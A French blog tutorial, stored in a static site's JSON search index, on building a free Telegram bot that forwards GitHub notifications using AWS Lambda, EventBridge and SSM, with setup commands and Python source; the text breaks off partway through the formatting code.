[{"content":"","date":"5 janvier 2026","permalink":"/tags/aws/","section":"Tags","summary":"","title":"Aws"},{"content":"","date":"5 janvier 2026","permalink":"/","section":"blog","summary":"","title":"blog"},{"content":"","date":"5 janvier 2026","permalink":"/tags/bot/","section":"Tags","summary":"","title":"Bot"},{"content":"","date":"5 janvier 2026","permalink":"/categories/","section":"Categories","summary":"","title":"Categories"},{"content":"","date":"5 janvier 2026","permalink":"/dev-posts/","section":"Dev-Posts","summary":"","title":"Dev-Posts"},{"content":"","date":"5 janvier 2026","permalink":"/categories/d%C3%A9veloppement/","section":"Categories","summary":"","title":"Développement"},{"content":"","date":"5 janvier 2026","permalink":"/tags/devops/","section":"Tags","summary":"","title":"Devops"},{"content":"","date":"5 janvier 2026","permalink":"/categories/devops/","section":"Categories","summary":"","title":"DevOps"},{"content":"","date":"5 janvier 2026","permalink":"/tags/github/","section":"Tags","summary":"","title":"GitHub"},{"content":"","date":"5 janvier 2026","permalink":"/tags/lambda/","section":"Tags","summary":"","title":"Lambda"},{"content":" Le problème # Les notifications GitHub par email, c\u0026rsquo;est nul. On les rate, elles arrivent avec du délai, elles se noient dans les autres mails, et surtout elles ne sont pas actionnables : tu reçois un lien, tu dois ouvrir un navigateur, te connecter, retrouver le contexte. En pratique, tu rates les reviews requestées, les issues critiques, les alertes de sécurité.\nLa solution : un bot Telegram qui récupère tes notifications GitHub toutes les 2 minutes et te les envoie avec du contexte directement dans ton téléphone. Tout ça pour 0€, grâce au free tier permanent d\u0026rsquo;AWS — pas celui de 12 mois.\nVoilà à quoi ressemble une notification dans Telegram :\n🟢 PR opened — owner/repo \u0026lt;b\u0026gt;Add dark mode support\u0026lt;/b\u0026gt; #42 By: contributor-login Branch: feature/dark-mode → main Changes: +120 / -15 Labels: enhancement 🔍 Review requested 🛡️ Security alert — owner/repo \u0026lt;b\u0026gt;Critical vulnerability in lodash\u0026lt;/b\u0026gt; Severity: critical Package: lodash Patched in: 4.17.21 🔒 Security alert L\u0026rsquo;architecture # EventBridge Scheduler (rate 2 min) │ ▼ AWS Lambda (Python 3.12) │ ├── GitHub API → /notifications (polling) │ └── fetch details (PR/Issue/Release...) │ └── Telegram Bot API → sendMessage Pourquoi le polling et pas les webhooks GitHub ?\nLes webhooks GitHub se configurent par repo ou par organisation, pas par compte. Si tu as 30 repos chez 5 orgas différentes, il faudrait configurer 30 webhooks. Avec le polling de l\u0026rsquo;endpoint /notifications, une seule Lambda récupère toutes tes notifications en une requête, quel que soit le nombre de repos.\nPourquoi une Lambda Function URL plutôt qu\u0026rsquo;API Gateway ?\nAPI Gateway coûte $3.50 pour 1M de requêtes, et son free tier est limité aux 12 premiers mois. La Function URL est incluse dans Lambda, elle utilise le même quota de 1M req/mois gratuit pour toujours. Pour un bot Telegram qui reçoit des commandes et des événements, c\u0026rsquo;est amplement suffisant.\nLe rôle de chaque service :\nEventBridge Scheduler : déclenche la Lambda toutes les 2 minutes pour poller GitHub Lambda : contient toute la logique (polling, formatage, envoi, commandes) SSM Parameter Store : stocke les secrets (tokens) et l\u0026rsquo;état du bot (dernier poll, repos mutés, thread mapping) GitHub API : source des notifications via l\u0026rsquo;endpoint /notifications Telegram Bot API : destination des messages et source des commandes Le coût : pourquoi c\u0026rsquo;est gratuit pour toujours # Service Usage estimé / mois Free tier permanent Coût AWS Lambda ~21 600 invocations (2 min × 30j) 1 000 000 req/mois 0€ EventBridge Scheduler ~21 600 invocations 14 000 000 invocations/mois 0€ SSM Parameter Store (Standard) ~200 000 API calls Gratuit en Standard 0€ Lambda Function URL Inclus dans Lambda Inclus 0€ GitHub API ~30 000 req/mois 5 000 req/h (160 000/j) 0€ Telegram Bot API ~21 600 req/mois Illimité 0€ Free tier permanent vs free tier 12 mois : AWS distingue deux types. Le free tier 12 mois (EC2 t2.micro, RDS, S3 5GB…) expire un an après la création du compte. Le free tier permanent (Lambda, EventBridge, SSM Standard, DynamoDB, SQS…) ne expire jamais. Cette architecture n\u0026rsquo;utilise que des services en free tier permanent.\nPourquoi SSM et pas Secrets Manager ? AWS Secrets Manager coûte $0.40/secret/mois. Pour 3 secrets (token GitHub, token Telegram, chat ID), ça fait $1.20/mois. SSM Parameter Store en mode SecureString est gratuit en Standard tier, chiffré avec la clé KMS par défaut du compte, et suffisant pour ce cas d\u0026rsquo;usage.\nÉtape 1 — Créer le bot Telegram # Ouvre Telegram et cherche @BotFather Envoie /newbot Choisis un nom d\u0026rsquo;affichage (ex: GitHub Notifier) Choisis un username (ex: github_notifier_bot) — doit se terminer par bot BotFather te renvoie un token : 123456789:ABCdefGhIJKlmNoPQRsTUVwxyZ Récupère ton chat_id :\nEnvoie un premier message à ton bot (sinon l\u0026rsquo;API retourne un tableau vide) Ouvre dans ton navigateur : https://api.telegram.org/bot\u0026lt;TON_TOKEN\u0026gt;/getUpdates Dans la réponse JSON, cherche result[0].message.chat.id — c\u0026rsquo;est ton chat_id { \u0026#34;ok\u0026#34;: true, \u0026#34;result\u0026#34;: [{ \u0026#34;message\u0026#34;: { \u0026#34;chat\u0026#34;: { \u0026#34;id\u0026#34;: 123456789, \u0026#34;type\u0026#34;: \u0026#34;private\u0026#34; }, \u0026#34;text\u0026#34;: \u0026#34;/start\u0026#34; } }] } Si result est vide [], c\u0026rsquo;est que tu n\u0026rsquo;as pas envoyé de message au bot. Envoie n\u0026rsquo;importe quoi (/start par exemple) et retente.\nÉtape 2 — Créer le token GitHub # Dans GitHub : Settings → Developer settings → Personal access tokens → Tokens (classic)\n⚠️ Les Fine-grained tokens ne supportent PAS le scope notifications. Il faut obligatoirement un token classic.\nCrée un nouveau token avec :\nScope : notifications uniquement Expiration : 1 an (ou pas d\u0026rsquo;expiration si tu préfères) Note le token, il ne s\u0026rsquo;affiche qu\u0026rsquo;une fois.\nÉtape 3 — Stocker les secrets dans SSM # # Token du bot Telegram aws ssm put-parameter \\ --name \u0026#34;/github-notifier/telegram-bot-token\u0026#34; \\ --value \u0026#34;\u0026lt;TON_TOKEN_TELEGRAM\u0026gt;\u0026#34; \\ --type SecureString \\ --overwrite # Chat ID Telegram aws ssm put-parameter \\ --name \u0026#34;/github-notifier/telegram-chat-id\u0026#34; \\ --value \u0026#34;\u0026lt;TON_CHAT_ID\u0026gt;\u0026#34; \\ --type SecureString \\ --overwrite # Token GitHub aws ssm put-parameter \\ --name \u0026#34;/github-notifier/github-token\u0026#34; \\ --value \u0026#34;\u0026lt;TON_TOKEN_GITHUB\u0026gt;\u0026#34; \\ --type SecureString \\ --overwrite Vérifie que tout est bien stocké :\naws ssm get-parameter \\ --name \u0026#34;/github-notifier/telegram-bot-token\u0026#34; \\ --with-decryption \\ --query \u0026#34;Parameter.Value\u0026#34; \\ --output text SecureString utilise la clé KMS par défaut (aws/ssm) du compte, créée automatiquement et gratuite. Aucune configuration KMS supplémentaire n\u0026rsquo;est nécessaire.\nÉtape 4 — Le code Python # Structure du projet # github-notifier/ ├── terraform/ │ ├── main.tf │ ├── variables.tf │ ├── outputs.tf │ └── lambda.tf ├── src/ │ ├── lambda_function.py # Handler principal, routing EventBridge/Telegram │ ├── config.py # Lecture SSM avec cache cold start, état bot │ ├── models.py # Dataclasses GitHubNotification, TelegramMessage │ ├── github_poller.py # Polling GitHub API, If-Modified-Since, mark as read │ ├── formatters.py # 10 templates de notification en HTML Telegram │ ├── telegram_sender.py # Envoi Bot API, threading par sujet │ ├── telegram_commands.py # 7 commandes : /help /status /mute /unmute /list /pause /resume │ ├── dedup.py # Regroupement des notifications par subject_url │ └── monitoring.py # Rate limit, crash counter └── requirements.txt src/lambda_function.py # Point d\u0026rsquo;entrée de la Lambda. Deux types d\u0026rsquo;événements possibles :\nEventBridge Scheduler → poll GitHub et envoie les nouvelles notifications Requête HTTP (webhook Telegram) → parse la commande ou le callback et répond Le handler wrappe tout dans un try/except qui alimente le crash counter.\n# src/lambda_function.py import json import logging import config import monitoring from github_poller import fetch_notifications, mark_all_read from formatters import format_notification from telegram_sender import send_notification, send_message from telegram_commands import handle_command, parse_update from dedup import group_notifications logger = logging.getLogger() logger.setLevel(logging.INFO) def lambda_handler(event, context): try: result = _handle(event, context) monitoring.reset_crash_counter() return result except Exception as e: logger.exception(\u0026#34;Unhandled exception\u0026#34;) count = monitoring.increment_crash_counter() if count \u0026gt;= 3: monitoring.alert_crash(count) return {\u0026#34;statusCode\u0026#34;: 500, \u0026#34;body\u0026#34;: str(e)} def _handle(event, context): # Déterminer la source de l\u0026#39;événement is_scheduler = ( event.get(\u0026#34;source\u0026#34;) == \u0026#34;aws.scheduler\u0026#34; or \u0026#34;detail-type\u0026#34; in event or not event.get(\u0026#34;requestContext\u0026#34;) ) if is_scheduler: return _handle_scheduler() else: return _handle_http(event) def _handle_scheduler(): \u0026#34;\u0026#34;\u0026#34;Déclenché par EventBridge : poll GitHub et envoie les notifications.\u0026#34;\u0026#34;\u0026#34; paused = config.get_state(\u0026#34;paused\u0026#34;, \u0026#34;false\u0026#34;) if paused.lower() == \u0026#34;true\u0026#34;: logger.info(\u0026#34;Bot is paused, skipping poll\u0026#34;) return {\u0026#34;statusCode\u0026#34;: 200, \u0026#34;body\u0026#34;: \u0026#34;paused\u0026#34;} github_token = config.get_github_token() telegram_token = config.get_telegram_token() chat_id = config.get_telegram_chat_id() notifications = fetch_notifications(github_token) logger.info(f\u0026#34;Fetched {len(notifications)} notifications\u0026#34;) if not notifications: return {\u0026#34;statusCode\u0026#34;: 200, \u0026#34;body\u0026#34;: \u0026#34;no new notifications\u0026#34;} # Dédupliquer par subject_url groups = group_notifications(notifications) for notifs in groups: text = format_notification(notifs[0]) if len(notifs) == 1 else _format_grouped(notifs) send_notification(notifs[0], text, telegram_token, chat_id) mark_all_read(github_token) return {\u0026#34;statusCode\u0026#34;: 200, \u0026#34;body\u0026#34;: f\u0026#34;sent {len(groups)} messages\u0026#34;} def _handle_http(event): \u0026#34;\u0026#34;\u0026#34;Déclenché par une requête HTTP : commande Telegram ou callback.\u0026#34;\u0026#34;\u0026#34; body_raw = event.get(\u0026#34;body\u0026#34;, \u0026#34;{}\u0026#34;) try: body = json.loads(body_raw) if isinstance(body_raw, str) else body_raw except json.JSONDecodeError: return {\u0026#34;statusCode\u0026#34;: 400, \u0026#34;body\u0026#34;: \u0026#34;invalid json\u0026#34;} telegram_token = config.get_telegram_token() chat_id = config.get_telegram_chat_id() update = parse_update(body) if not update: return {\u0026#34;statusCode\u0026#34;: 200, \u0026#34;body\u0026#34;: \u0026#34;ignored\u0026#34;} handle_command(update, telegram_token, chat_id) return {\u0026#34;statusCode\u0026#34;: 200, \u0026#34;body\u0026#34;: \u0026#34;ok\u0026#34;} def _format_grouped(notifs): \u0026#34;\u0026#34;\u0026#34;Format condensé pour plusieurs notifications sur le même sujet.\u0026#34;\u0026#34;\u0026#34; from dedup import format_grouped return format_grouped(notifs) src/config.py # Cache des secrets SSM au cold start (variable globale hors du handler). L\u0026rsquo;état (dernier poll, repos mutés…) n\u0026rsquo;est jamais mis en cache car il change souvent.\n# src/config.py import boto3 import json import os import logging logger = logging.getLogger(__name__) _ssm = boto3.client(\u0026#34;ssm\u0026#34;) SSM_PREFIX = os.environ.get(\u0026#34;SSM_PREFIX\u0026#34;, \u0026#34;/github-notifier\u0026#34;) # Cache cold start : chargé une fois par instance Lambda _secrets_cache: dict = {} def _get_secret(name: str) -\u0026gt; str | None: \u0026#34;\u0026#34;\u0026#34;Lit un SecureString depuis SSM avec cache au cold start.\u0026#34;\u0026#34;\u0026#34; key = f\u0026#34;{SSM_PREFIX}/{name}\u0026#34; if key in _secrets_cache: return _secrets_cache[key] try: resp = _ssm.get_parameter(Name=key, WithDecryption=True) value = resp[\u0026#34;Parameter\u0026#34;][\u0026#34;Value\u0026#34;] _secrets_cache[key] = value return value except _ssm.exceptions.ParameterNotFound: logger.warning(f\u0026#34;SSM parameter not found: {key}\u0026#34;) return None except Exception as e: logger.error(f\u0026#34;Error reading SSM parameter {key}: {e}\u0026#34;) raise def get_telegram_token() -\u0026gt; str: return _get_secret(\u0026#34;telegram-bot-token\u0026#34;) def get_telegram_chat_id() -\u0026gt; str: return _get_secret(\u0026#34;telegram-chat-id\u0026#34;) def get_github_token() -\u0026gt; str: return _get_secret(\u0026#34;github-token\u0026#34;) def get_state(key: str, default: str = \u0026#34;\u0026#34;) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Lit un paramètre d\u0026#39;état (String, pas de cache).\u0026#34;\u0026#34;\u0026#34; full_name = f\u0026#34;{SSM_PREFIX}/state/{key}\u0026#34; try: resp = _ssm.get_parameter(Name=full_name, WithDecryption=False) return resp[\u0026#34;Parameter\u0026#34;][\u0026#34;Value\u0026#34;] except _ssm.exceptions.ParameterNotFound: return default except Exception as e: logger.error(f\u0026#34;Error reading state {key}: {e}\u0026#34;) return default def set_state(key: str, value: str) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Écrit un paramètre d\u0026#39;état dans SSM.\u0026#34;\u0026#34;\u0026#34; full_name = f\u0026#34;{SSM_PREFIX}/state/{key}\u0026#34; try: _ssm.put_parameter( Name=full_name, Value=str(value), Type=\u0026#34;String\u0026#34;, Overwrite=True, ) except Exception as e: logger.error(f\u0026#34;Error writing state {key}: {e}\u0026#34;) raise def get_muted_repos() -\u0026gt; list: \u0026#34;\u0026#34;\u0026#34;Retourne la liste des repos mutés (stockée en JSON dans SSM).\u0026#34;\u0026#34;\u0026#34; raw = get_state(\u0026#34;muted-repos\u0026#34;, \u0026#34;[]\u0026#34;) try: return json.loads(raw) except (json.JSONDecodeError, TypeError): return [] def set_muted_repos(repos: list) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Sauvegarde la liste des repos mutés.\u0026#34;\u0026#34;\u0026#34; set_state(\u0026#34;muted-repos\u0026#34;, json.dumps(repos)) src/models.py # # src/models.py from dataclasses import dataclass, field from typing import Optional @dataclass class GitHubNotification: id: str type: str # PullRequest, Issue, Release, CheckSuite, Discussion… reason: str # review_requested, assign, mention, author, comment… subject_title: str subject_url: str # URL API du sujet (ex: api.github.com/repos/.../pulls/42) subject_type: str # PullRequest, Issue, Commit, Release… repo_full_name: str # owner/repo updated_at: str details: Optional[dict] = field(default=None) # Détails fetchés depuis subject_url @dataclass class TelegramMessage: text: str parse_mode: str = \u0026#34;HTML\u0026#34; reply_to_message_id: Optional[int] = None inline_keyboard: Optional[list] = field(default=None) src/github_poller.py # Polling avec If-Modified-Since pour éviter de consommer des points de rate limit quand rien n\u0026rsquo;a changé. GitHub retourne 304 Not Modified dans ce cas, ce qui ne coûte pas de points de rate limit.\n# src/github_poller.py import urllib.request import urllib.error import json import logging from datetime import datetime, timezone import config import monitoring from models import GitHubNotification logger = logging.getLogger(__name__) GITHUB_API = \u0026#34;https://api.github.com\u0026#34; def _make_request( url: str, token: str, last_modified: str = None, method: str = \u0026#34;GET\u0026#34;, body: bytes = None, ) -\u0026gt; tuple[int, dict, any]: \u0026#34;\u0026#34;\u0026#34;Effectue une requête vers l\u0026#39;API GitHub.\u0026#34;\u0026#34;\u0026#34; req = urllib.request.Request(url, method=method, data=body) req.add_header(\u0026#34;Authorization\u0026#34;, f\u0026#34;token {token}\u0026#34;) req.add_header(\u0026#34;Accept\u0026#34;, \u0026#34;application/vnd.github.v3+json\u0026#34;) req.add_header(\u0026#34;X-GitHub-Api-Version\u0026#34;, \u0026#34;2022-11-28\u0026#34;) if last_modified: req.add_header(\u0026#34;If-Modified-Since\u0026#34;, last_modified) if body: req.add_header(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json\u0026#34;) try: with urllib.request.urlopen(req) as response: headers = dict(response.headers) raw = response.read() data = json.loads(raw) if raw else {} return response.status, headers, data except urllib.error.HTTPError as e: if e.code == 304: return 304, {}, [] raise def fetch_notifications(token: str) -\u0026gt; list[GitHubNotification]: \u0026#34;\u0026#34;\u0026#34; Récupère les notifications non lues depuis l\u0026#39;API GitHub. Utilise If-Modified-Since pour économiser le rate limit. \u0026#34;\u0026#34;\u0026#34; last_modified = config.get_state(\u0026#34;last-modified\u0026#34;, \u0026#34;\u0026#34;) status, headers, data = _make_request( f\u0026#34;{GITHUB_API}/notifications?all=false\u0026amp;participating=false\u0026#34;, token, last_modified=last_modified, ) # Mise à jour des métriques de rate limit remaining = headers.get(\u0026#34;X-Ratelimit-Remaining\u0026#34;) or headers.get(\u0026#34;x-ratelimit-remaining\u0026#34;) if remaining is not None: config.set_state(\u0026#34;rate-limit-remaining\u0026#34;, remaining) monitoring.check_rate_limit(int(remaining), token, config.get_telegram_chat_id()) reset_ts = headers.get(\u0026#34;X-Ratelimit-Reset\u0026#34;) or headers.get(\u0026#34;x-ratelimit-reset\u0026#34;) if reset_ts: config.set_state(\u0026#34;rate-limit-reset\u0026#34;, reset_ts) # Mise à jour du Last-Modified pour la prochaine requête lm = headers.get(\u0026#34;Last-Modified\u0026#34;) or headers.get(\u0026#34;last-modified\u0026#34;) if lm: config.set_state(\u0026#34;last-modified\u0026#34;, lm) config.set_state(\u0026#34;last-poll-timestamp\u0026#34;, datetime.now(timezone.utc).isoformat()) if status == 304: logger.info(\u0026#34;304 Not Modified — aucune nouvelle notification\u0026#34;) return [] muted = config.get_muted_repos() notifications = [] for item in data: repo_full_name = item[\u0026#34;repository\u0026#34;][\u0026#34;full_name\u0026#34;] if repo_full_name in muted: logger.debug(f\u0026#34;Skipping muted repo: {repo_full_name}\u0026#34;) continue notif = GitHubNotification( id=item[\u0026#34;id\u0026#34;], type=item[\u0026#34;type\u0026#34;], reason=item[\u0026#34;reason\u0026#34;], subject_title=item[\u0026#34;subject\u0026#34;][\u0026#34;title\u0026#34;], subject_url=item[\u0026#34;subject\u0026#34;].get(\u0026#34;url\u0026#34;) or \u0026#34;\u0026#34;, subject_type=item[\u0026#34;subject\u0026#34;][\u0026#34;type\u0026#34;], repo_full_name=repo_full_name, updated_at=item[\u0026#34;updated_at\u0026#34;], ) # Fetch des détails si l\u0026#39;URL est disponible if notif.subject_url: try: _, _, details = _make_request(notif.subject_url, token) notif.details = details except Exception as e: logger.warning(f\u0026#34;Impossible de fetcher les détails pour {notif.subject_url}: {e}\u0026#34;) notifications.append(notif) logger.info(f\u0026#34;{len(notifications)} notification(s) après filtrage des repos mutés\u0026#34;) return notifications def mark_all_read(token: str) -\u0026gt; None: \u0026#34;\u0026#34;\u0026#34;Marque toutes les notifications comme lues.\u0026#34;\u0026#34;\u0026#34; try: _make_request( f\u0026#34;{GITHUB_API}/notifications\u0026#34;, token, method=\u0026#34;PUT\u0026#34;, body=json.dumps({\u0026#34;read\u0026#34;: True}).encode(), ) logger.info(\u0026#34;Notifications marquées comme lues\u0026#34;) except Exception as e: logger.error(f\u0026#34;Erreur lors du mark as read: {e}\u0026#34;) src/formatters.py # 10 templates de notification en mode HTML (parse_mode Telegram). Chaque type de notification a son propre format avec des infos pertinentes.\n# src/formatters.py import html as _html from models import GitHubNotification # Mapping reason → label affiché REASON_LABELS = { \u0026#34;review_requested\u0026#34;: \u0026#34;🔍 Review requested\u0026#34;, \u0026#34;assign\u0026#34;: \u0026#34;📌 Assigned to you\u0026#34;, \u0026#34;mention\u0026#34;: \u0026#34;💬 Mentioned\u0026#34;, \u0026#34;author\u0026#34;: \u0026#34;✍️ You\u0026#39;re the author\u0026#34;, \u0026#34;comment\u0026#34;: \u0026#34;💬 Comment\u0026#34;, \u0026#34;ci_activity\u0026#34;: \u0026#34;🔧 CI activity\u0026#34;, \u0026#34;state_change\u0026#34;: \u0026#34;🔄 State changed\u0026#34;, \u0026#34;security_alert\u0026#34;: \u0026#34;🔒 Security alert\u0026#34;, \u0026#34;team_mention\u0026#34;: \u0026#34;👥 Team mentioned\u0026#34;, \u0026#34;subscribed\u0026#34;: \u0026#34;👁️ Subscribed\u0026#34;, } def _e(text) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Échappe le HTML pour Telegram.\u0026#34;\u0026#34;\u0026#34; if text is None: return \u0026#34;\u0026#34; return _html.escape(str(text)) def _trunc(text, max_len: int = 150) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Tronque un texte à max_len caractères.\u0026#34;\u0026#34;\u0026#34; if not text: return \u0026#34;\u0026#34; text = str(text).replace(\u0026#34;\\n\u0026#34;, \u0026#34; \u0026#34;).strip() return text[:max_len] + \u0026#34;…\u0026#34; if len(text) \u0026gt; max_len else text def _reason(reason: str) -\u0026gt; str: return REASON_LABELS.get(reason, f\u0026#34;🔔 {reason}\u0026#34;) def _link(text: str, url: str) -\u0026gt; str: return f\u0026#39;\u0026lt;a href=\u0026#34;{_e(url)}\u0026#34;\u0026gt;{_e(text)}\u0026lt;/a\u0026gt;\u0026#39; def _api_to_html_url(url: str) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Convertit une URL API GitHub en URL HTML.\u0026#34;\u0026#34;\u0026#34; return ( url.replace(\u0026#34;api.github.com/repos/\u0026#34;, \u0026#34;github.com/\u0026#34;) .replace(\u0026#34;/pulls/\u0026#34;, \u0026#34;/pull/\u0026#34;) .replace(\u0026#34;/commits/\u0026#34;, \u0026#34;/commit/\u0026#34;) ) def format_notification(notif: GitHubNotification) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Dispatch vers le formatteur approprié selon le type de sujet.\u0026#34;\u0026#34;\u0026#34; d = notif.details or {} if notif.subject_type == \u0026#34;PullRequest\u0026#34;: return _format_pr(notif, d) elif notif.subject_type == \u0026#34;Issue\u0026#34;: return _format_issue(notif, d) elif notif.subject_type in (\u0026#34;Commit\u0026#34;, \u0026#34;Discussion\u0026#34;) and notif.reason == \u0026#34;comment\u0026#34;: return _format_comment(notif, d) elif notif.subject_type == \u0026#34;Release\u0026#34;: return _format_release(notif, d) elif notif.subject_type == \u0026#34;CheckSuite\u0026#34; or notif.reason == \u0026#34;ci_activity\u0026#34;: return _format_ci(notif, d) elif notif.reason == \u0026#34;security_alert\u0026#34;: return _format_security(notif, d) elif notif.subject_type == \u0026#34;Discussion\u0026#34;: return _format_discussion(notif, d) else: return _format_fallback(notif) def _format_pr(notif: GitHubNotification, d: dict) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;PR opened / merged / closed.\u0026#34;\u0026#34;\u0026#34; state = d.get(\u0026#34;state\u0026#34;, \u0026#34;open\u0026#34;) merged = d.get(\u0026#34;merged\u0026#34;, False) if merged: emoji, label = \u0026#34;🟣\u0026#34;, \u0026#34;PR merged\u0026#34; merged_by = (d.get(\u0026#34;merged_by\u0026#34;) or {}).get(\u0026#34;login\u0026#34;, \u0026#34;?\u0026#34;) action = f\u0026#34;Merged by: \u0026lt;b\u0026gt;{_e(merged_by)}\u0026lt;/b\u0026gt;\u0026#34; elif state == \u0026#34;closed\u0026#34;: emoji, label = \u0026#34;🔴\u0026#34;, \u0026#34;PR closed\u0026#34; action = \u0026#34;Closed without merge\u0026#34; else: emoji, label = \u0026#34;🟢\u0026#34;, \u0026#34;PR opened\u0026#34; author = (d.get(\u0026#34;user\u0026#34;) or {}).get(\u0026#34;login\u0026#34;, \u0026#34;?\u0026#34;) action = f\u0026#34;By: \u0026lt;b\u0026gt;{_e(author)}\u0026lt;/b\u0026gt;\u0026#34; head = (d.get(\u0026#34;head\u0026#34;) or {}).get(\u0026#34;ref\u0026#34;, \u0026#34;?\u0026#34;) base = (d.get(\u0026#34;base\u0026#34;) or {}).get(\u0026#34;ref\u0026#34;, \u0026#34;?\u0026#34;) additions = d.get(\u0026#34;additions\u0026#34;, 0) deletions = d.get(\u0026#34;deletions\u0026#34;, 0) labels = [l.get(\u0026#34;name\u0026#34;, \u0026#34;\u0026#34;) for l in (d.get(\u0026#34;labels\u0026#34;) or [])] labels_str = \u0026#34; \u0026#34;.join(f\u0026#34;\u0026lt;code\u0026gt;{_e(l)}\u0026lt;/code\u0026gt;\u0026#34; for l in labels) url = d.get(\u0026#34;html_url\u0026#34;) or _api_to_html_url(notif.subject_url) number = d.get(\u0026#34;number\u0026#34;, \u0026#34;\u0026#34;) lines = [ f\u0026#34;{emoji} \u0026lt;b\u0026gt;{label}\u0026lt;/b\u0026gt; — {_link(notif.repo_full_name, url)}\u0026#34;, f\u0026#34;\u0026lt;b\u0026gt;{_e(notif.subject_title)}\u0026lt;/b\u0026gt; #{number}\u0026#34;, action, f\u0026#34;Branch: \u0026lt;code\u0026gt;{_e(head)}\u0026lt;/code\u0026gt; → \u0026lt;code\u0026gt;{_e(base)}\u0026lt;/code\u0026gt;\u0026#34;, f\u0026#34;Changes: \u0026lt;code\u0026gt;+{additions} / -{deletions}\u0026lt;/code\u0026gt;\u0026#34;, ] if labels_str: lines.append(f\u0026#34;Labels: {labels_str}\u0026#34;) lines.append(f\u0026#34;\u0026lt;i\u0026gt;{_reason(notif.reason)}\u0026lt;/i\u0026gt;\u0026#34;) return \u0026#34;\\n\u0026#34;.join(lines) def _format_issue(notif: GitHubNotification, d: dict) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Issue ouverte ou fermée.\u0026#34;\u0026#34;\u0026#34; state = d.get(\u0026#34;state\u0026#34;, \u0026#34;open\u0026#34;) emoji = \u0026#34;🔴\u0026#34; if state == \u0026#34;closed\u0026#34; else \u0026#34;🟡\u0026#34; author = (d.get(\u0026#34;user\u0026#34;) or {}).get(\u0026#34;login\u0026#34;, \u0026#34;?\u0026#34;) labels = [l.get(\u0026#34;name\u0026#34;, \u0026#34;\u0026#34;) for l in (d.get(\u0026#34;labels\u0026#34;) or [])] labels_str = \u0026#34; \u0026#34;.join(f\u0026#34;\u0026lt;code\u0026gt;{_e(l)}\u0026lt;/code\u0026gt;\u0026#34; for l in labels) assignees = [(a.get(\u0026#34;login\u0026#34;, \u0026#34;\u0026#34;)) for a in (d.get(\u0026#34;assignees\u0026#34;) or [])] assignees_str = \u0026#34;, \u0026#34;.join(f\u0026#34;\u0026lt;b\u0026gt;{_e(a)}\u0026lt;/b\u0026gt;\u0026#34; for a in assignees) milestone = d.get(\u0026#34;milestone\u0026#34;) or {} milestone_title = milestone.get(\u0026#34;title\u0026#34;, \u0026#34;\u0026#34;) if isinstance(milestone, dict) else \u0026#34;\u0026#34; url = d.get(\u0026#34;html_url\u0026#34;) or _api_to_html_url(notif.subject_url) number = d.get(\u0026#34;number\u0026#34;, \u0026#34;\u0026#34;) lines = [ f\u0026#34;{emoji} \u0026lt;b\u0026gt;Issue\u0026lt;/b\u0026gt; — {_link(notif.repo_full_name, url)}\u0026#34;, f\u0026#34;\u0026lt;b\u0026gt;{_e(notif.subject_title)}\u0026lt;/b\u0026gt; #{number}\u0026#34;, f\u0026#34;By: \u0026lt;b\u0026gt;{_e(author)}\u0026lt;/b\u0026gt;\u0026#34;, ] if labels_str: lines.append(f\u0026#34;Labels: {labels_str}\u0026#34;) if assignees_str: lines.append(f\u0026#34;Assignees: {assignees_str}\u0026#34;) if milestone_title: lines.append(f\u0026#34;Milestone: \u0026lt;i\u0026gt;{_e(milestone_title)}\u0026lt;/i\u0026gt;\u0026#34;) lines.append(f\u0026#34;\u0026lt;i\u0026gt;{_reason(notif.reason)}\u0026lt;/i\u0026gt;\u0026#34;) return \u0026#34;\\n\u0026#34;.join(lines) def _format_comment(notif: GitHubNotification, d: dict) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Commentaire sur une issue, PR ou commit.\u0026#34;\u0026#34;\u0026#34; author = (d.get(\u0026#34;user\u0026#34;) or {}).get(\u0026#34;login\u0026#34;, \u0026#34;?\u0026#34;) body = _trunc(d.get(\u0026#34;body\u0026#34;, \u0026#34;\u0026#34;)) url = d.get(\u0026#34;html_url\u0026#34;) or _api_to_html_url(notif.subject_url) lines = [ f\u0026#34;💬 \u0026lt;b\u0026gt;Comment\u0026lt;/b\u0026gt; — {_link(notif.repo_full_name, url)}\u0026#34;, f\u0026#34;\u0026lt;b\u0026gt;{_e(notif.subject_title)}\u0026lt;/b\u0026gt;\u0026#34;, f\u0026#34;From: \u0026lt;b\u0026gt;{_e(author)}\u0026lt;/b\u0026gt;\u0026#34;, f\u0026#34;\u0026lt;i\u0026gt;{_e(body)}\u0026lt;/i\u0026gt;\u0026#34;, f\u0026#34;\u0026lt;i\u0026gt;{_reason(notif.reason)}\u0026lt;/i\u0026gt;\u0026#34;, ] return \u0026#34;\\n\u0026#34;.join(lines) def _format_release(notif: GitHubNotification, d: dict) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Nouvelle release publiée.\u0026#34;\u0026#34;\u0026#34; author = (d.get(\u0026#34;author\u0026#34;) or {}).get(\u0026#34;login\u0026#34;, \u0026#34;?\u0026#34;) tag = d.get(\u0026#34;tag_name\u0026#34;, \u0026#34;\u0026#34;) assets = d.get(\u0026#34;assets\u0026#34;) or [] body = _trunc(d.get(\u0026#34;body\u0026#34;, \u0026#34;\u0026#34;), 200) url = d.get(\u0026#34;html_url\u0026#34;) or _api_to_html_url(notif.subject_url) lines = [ f\u0026#34;🚀 \u0026lt;b\u0026gt;Release\u0026lt;/b\u0026gt; — {_link(notif.repo_full_name, url)}\u0026#34;, f\u0026#34;\u0026lt;b\u0026gt;{_e(notif.subject_title)}\u0026lt;/b\u0026gt;\u0026#34;, f\u0026#34;By: \u0026lt;b\u0026gt;{_e(author)}\u0026lt;/b\u0026gt;\u0026#34;, f\u0026#34;Tag: \u0026lt;code\u0026gt;{_e(tag)}\u0026lt;/code\u0026gt;\u0026#34;, f\u0026#34;Assets: {len(assets)} fichier(s)\u0026#34;, ] if body: lines.append(f\u0026#34;\u0026lt;i\u0026gt;{_e(body)}\u0026lt;/i\u0026gt;\u0026#34;) lines.append(f\u0026#34;\u0026lt;i\u0026gt;{_reason(notif.reason)}\u0026lt;/i\u0026gt;\u0026#34;) return 